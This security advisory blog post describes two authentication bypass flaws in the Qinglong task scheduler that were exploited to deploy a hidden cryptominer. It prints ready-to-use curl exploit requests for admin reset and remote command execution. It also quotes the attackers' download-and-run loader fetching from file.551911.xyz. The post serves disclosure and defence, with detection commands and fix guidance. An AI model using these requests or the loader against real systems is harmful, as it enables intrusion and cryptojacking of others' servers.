Qinglong task scheduler RCE vulnerabilities exploited in the wild for cryptomining

In early February 2026, users of Qinglong (青龙), a popular open source timed task management platform with over 19,000 GitHub stars, began reporting that their servers were maxing out CPU usage. The cause was a cryptominer binary called .fullgc, deployed through two authentication bypass vulnerabilities that allowed unauthenticated remote code execution.

The attacks went largely unnoticed in the English-speaking security community. But across Chinese developer forums and GitHub issues, the picture was clear: attackers were exploiting publicly accessible Qinglong panels to deploy cryptocurrency miners.

Timeline

What is Qinglong?

Qinglong is a self-hosted task scheduling panel that supports Python3, JavaScript, Shell, and TypeScript scripts. It's widely used in the Chinese developer community for automating recurring tasks, from data collection to notification workflows. The project is available both as a Docker image and an npm package (@whyour/qinglong).

While npm download numbers are low, Docker is the primary distribution channel. The project's 19,400 stars and 3,200 forks on GitHub reflect a significant user base, primarily among Chinese-speaking developers who deploy it on cloud VPS instances and home servers.

The vulnerabilities

Two distinct authentication bypass vulnerabilities were reported on February 27, 2026, both affecting Qinglong version 2.20.1 and earlier. Both are now tracked in the Snyk Vulnerability Database: SNYK-JS-WHYOURQINGLONG-15440732 and SNYK-JS-WHYOURQINGLONG-15468374.

Authentication bypass via URL rewriting (CVE-2026-3965)

The first vulnerability (CVE-2026-3965, GitHub Issue #2933) exploits a URL rewriting rule in the application's Express.js middleware. Qinglong rewrites requests from /open/* to /api/$1, creating an unintended path to protected admin endpoints.

An attacker could reinitialize admin credentials with a single unauthenticated request:

1curl -X PUT "http://target:5700/open/user/init" \
2  -H "Content-Type: application/json" \
3  -d '{"username": "admin", "password": "attacker_password"}'

Once credentials were reset, the attacker had full control of the panel, including the ability to create and execute arbitrary scripts.

Authentication bypass via case-sensitive path matching (CVE-2026-4047)

The second vulnerability (CVE-2026-4047, GitHub Issue #2934) allows unauthenticated RCE without requiring to password reset. The authentication middleware uses case-sensitive string matching (req.path.startsWith('/api/')) to identify protected routes. But Express.js itself matches routes case-insensitively. Requesting /aPi/system/command-run instead of /api/system/command-run bypasses the auth check entirely while still routing to the command execution endpoint:

1curl -X PUT "http://target:5700/aPi/system/command-run" \
2  -H "Content-Type: application/json" \
3  -d '{"command": "id"}'

This grants unauthenticated remote code execution with no credential reset required.

A common anti-pattern

Both vulnerabilities stem from a mismatch between the security middleware's assumptions and the framework's behavior. The auth layer assumed certain URL patterns would always be handled one way, while Express.js treated them differently. This is a well-documented class of issues in web application security: when authorization logic operates on a different view of the request than the routing layer, bypasses can easily arise. Snyk has previously covered broken access control patterns in Express.js in detail, and a similar middleware authorization bypass was found in Next.js (CVE-2025-29927), showing this vulnerability class is not limited to any one framework.

The cryptomining campaign

While these vulnerabilities were formally reported on February 27, exploitation had already been underway for weeks. Starting around February 7-8, 2026, Qinglong users began opening issues about a hidden process called .fullgc consuming 85-100% of their CPU.

How the attack worked

Attackers exploited the authentication bypass to modify Qinglong's configuration file (config.sh), injecting a shell script that:

1. Downloaded a platform-specific binary from file.551911.xyz (supporting Linux x86_64, ARM64, and macOS variants)

2. Saved it as a hidden file at /ql/data/db/.fullgc

3. Made it executable and launched it as a background process with output suppressed

4. Included persistence logic to restart the miner if killed

The injected code looked something like this:

1# Downloads binary from unofficial domain
2u="https://file.551911.xyz/fullgc/$(uname -s)_$(uname -m)"
3b="/ql/data/db/.fullgc"
4curl -fsSL -o "$b" "$u" && chmod +x "$b" && nohup "$b" >/dev/null 2>&1 &

The .fullgc filename may have been chosen to blend in with legitimate processes. In Java/JVM environments, "Full GC" (Full Garbage Collection) is a known source of CPU spikes, which could delay an administrator's investigation.

Scale of impact

Multiple users reported infections across different deployment configurations, including systems behind Nginx reverse proxies with SSL. Cloud providers like Alibaba Cloud (Aliyun) flagged affected instances for cryptomining activity. At least one user reported that attackers had compromised their Nezha monitoring panel through the same access, gaining visibility into hundreds of machines.

Community discussion in Issue #2926 urged the maintainer to issue a warning through the project's Telegram channel, noting that users continued to be compromised days after the first reports.

How the vulnerability was addressed

The initial response (PR #2924) focused on input validation: blocking curl, wget, command substitution patterns, and other shell metacharacters in cron task fields. This is a defense-in-depth measure, but it addresses the specific attack payload rather than the underlying access control issue. Notably, PR #2924 was never merged. The real fix required addressing the authentication bypass at the middleware level, which came in PR #2941.

This ordering tells the right story. When an application is being actively exploited, the instinct is to block the observed payload. But if the root cause is an auth bypass, payload-level filtering is insufficient — attackers will simply pivot to a different payload. The maintainer's decision to prioritize the auth-layer fix (PR #2941) over the payload-blocking approach (PR #2924) reflects the correct security practice: fix the access control issue first, then consider input validation as a secondary defense-in-depth control.

Lessons for self-hosted application security

This incident highlights risks that apply well beyond the Qinglong project.

Audit your middleware chain

If your application uses URL rewriting or path-based authorization, verify that the security middleware and the routing layer agree on how requests are classified. Case sensitivity, trailing slashes, URL encoding, and rewrite rules are all common sources of mismatches. Snyk Learn's lesson on API security misconfigurations covers these patterns in more depth. Tools like Snyk Code can help identify them in your own applications.

Treat self-hosted panels as an attack surface

Any web application exposed to the internet is a target, regardless of how niche it is. If it has an API that can execute commands, it needs authentication that actually works. Consider placing self-hosted tools behind a VPN or SSH tunnel rather than exposing them directly.

Monitor for unexpected resource usage

The cryptomining was detected primarily because of CPU saturation. If the attackers had throttled the miner to consume only 20-30% of the CPU, detection would have taken significantly longer. Use container resource limits and monitoring to catch anomalous behavior early.

Keep your Docker images updated

Qinglong is primarily deployed via Docker. Keeping container images up to date is critical, especially when security patches are released. Snyk's guide to 10 Docker security best practices covers the fundamentals, and tools like Snyk Container can continuously monitor your container images for known vulnerabilities.

Check your configurations

If you run Qinglong or have run it in the past, check for signs of compromise:

1# Check for the cryptominer binary
2ls -la /ql/data/db/.fullgc
3
4# Check config.sh for injected code
5grep -r "551911" /ql/data/config/
6grep -r "fullgc" /ql/data/config/
7
8# Check for unexpected background processes
9ps aux | grep fullgc

If compromised, delete the mapped Docker volumes (not just the container), remove malicious code from config.sh, recreate containers from a clean image, and update to the latest version.

The bigger picture

Qinglong's vulnerabilities are a reminder of why open source security requires ongoing attention. A project can have thousands of stars and an active community, yet still carry critical security flaws in its authentication layer for years. The authentication bypass via case-insensitive routing (Issue #2934) reportedly affected all versions. This is not unlike the Ultralytics AI compromise, where attackers also used open source project access to deploy cryptominers.

Cryptomining payloads are low-effort to deploy and difficult to detect, especially on platforms like task schedulers that already execute arbitrary scripts by design. For operators of self-hosted tools, this incident is a practical case study in why network exposure, authentication design, and update hygiene all matter.